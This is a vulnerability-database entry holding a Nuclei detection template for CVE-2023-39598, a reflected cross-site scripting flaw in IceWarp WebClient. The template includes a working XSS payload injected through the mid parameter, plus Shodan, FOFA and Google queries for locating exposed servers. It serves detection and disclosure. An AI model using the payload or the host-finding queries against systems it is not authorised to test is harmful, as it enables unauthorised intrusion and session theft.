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IceWarp Email Client - Cross Site Scripting

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 109 Views

IceWarp Email Client XSS vulnerability allows remote code executio

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2023-39598
5 Sep 202318:15
–attackerkb
bdu_fstec
BDU FSTEC
IceWarp Web Client XSS
22 Sep 202300:00
–bdu_fstec
circl
Circl
CVE-2023-39598
5 Sep 202322:16
–circl
cnnvd
CNNVD
IceWarp WebClient Cross-Site Scripting Vulnerability
5 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-39598
5 Sep 202300:00
–cve
cvelist
Cvelist
CVE-2023-39598
5 Sep 202300:00
–cvelist
nvd
NVD
CVE-2023-39598
5 Sep 202318:15
–nvd
osv_cve
osv_cve
CVE-2023-39598
5 Sep 202318:15
–osv_cve
prion
Prion
Cross site scripting
5 Sep 202318:15
–prion
ptsecurity
Positive Technologies
PT-2023-5329 · Icewarp · Icewarp Webclient
7 Aug 202300:00
–ptsecurity
Rows per page
id: CVE-2023-39598

info:
  name: IceWarp Email Client - Cross Site Scripting
  author: Imjust0
  severity: medium
  description: |
    Cross Site Scripting vulnerability in IceWarp Corporation WebClient v.10.2.1 allows a remote attacker to execute arbitrary code via a crafted payload to the mid parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  reference:
    - https://medium.com/@muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39598
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39598
    - https://medium.com/%40muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39598
    cwe-id: CWE-79
    epss-score: 0.01452
    epss-percentile: 0.73171
    cpe: cpe:2.3:a:icewarp:webclient:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: icewarp
    product: webclient
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve2023,cve,xss,icewarp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}"><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "icewarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6993857fd1c66b217997e4099c0952f307bb32ff5b924202f1355abc3ed7ec5022100d7337475033be5a149284af606e79751f156b725470d07aaded94cd6b6bef72f:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.16.1
EPSS0.01452
SSVC
109